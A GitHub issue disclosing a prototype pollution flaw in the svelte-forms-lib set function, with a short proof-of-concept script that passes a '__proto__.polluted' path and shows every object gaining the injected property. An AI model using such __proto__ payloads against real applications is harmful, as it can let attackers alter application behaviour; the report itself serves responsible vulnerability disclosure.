Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution #165

Open
ready-research opened this issue May 10, 2022 · 0 comments
Open

Prototype Pollution #165

ready-research opened this issue May 10, 2022 · 0 comments
Labels
bug Something isn't working

Comments

@ready-research
Copy link

Summary

svelte-forms-lib package is vulnerable to Prototype Pollution. The set function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.
Reported in huntr https://www.huntr.dev/bounties/69aa6433-5e43-4a2c-a4e1-3671c255b11e/ (8 months ago)
Please validate this using Mark as valid. Thanks.

Steps to reproduce

// poc.mjs
import {util} from 'svelte-forms-lib/lib/util.js';
const obj = {};
console.log("Before : " + {}.polluted);
util.set(obj, "__proto__.polluted", 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

Result:

Before : undefined
After : Yes! Its Polluted

Example Project

What is the current bug behavior?

What is the expected correct behavior?

Relevant logs and/or screenshots

Possible fixes

@ready-research ready-research added the bug Something isn't working label May 10, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant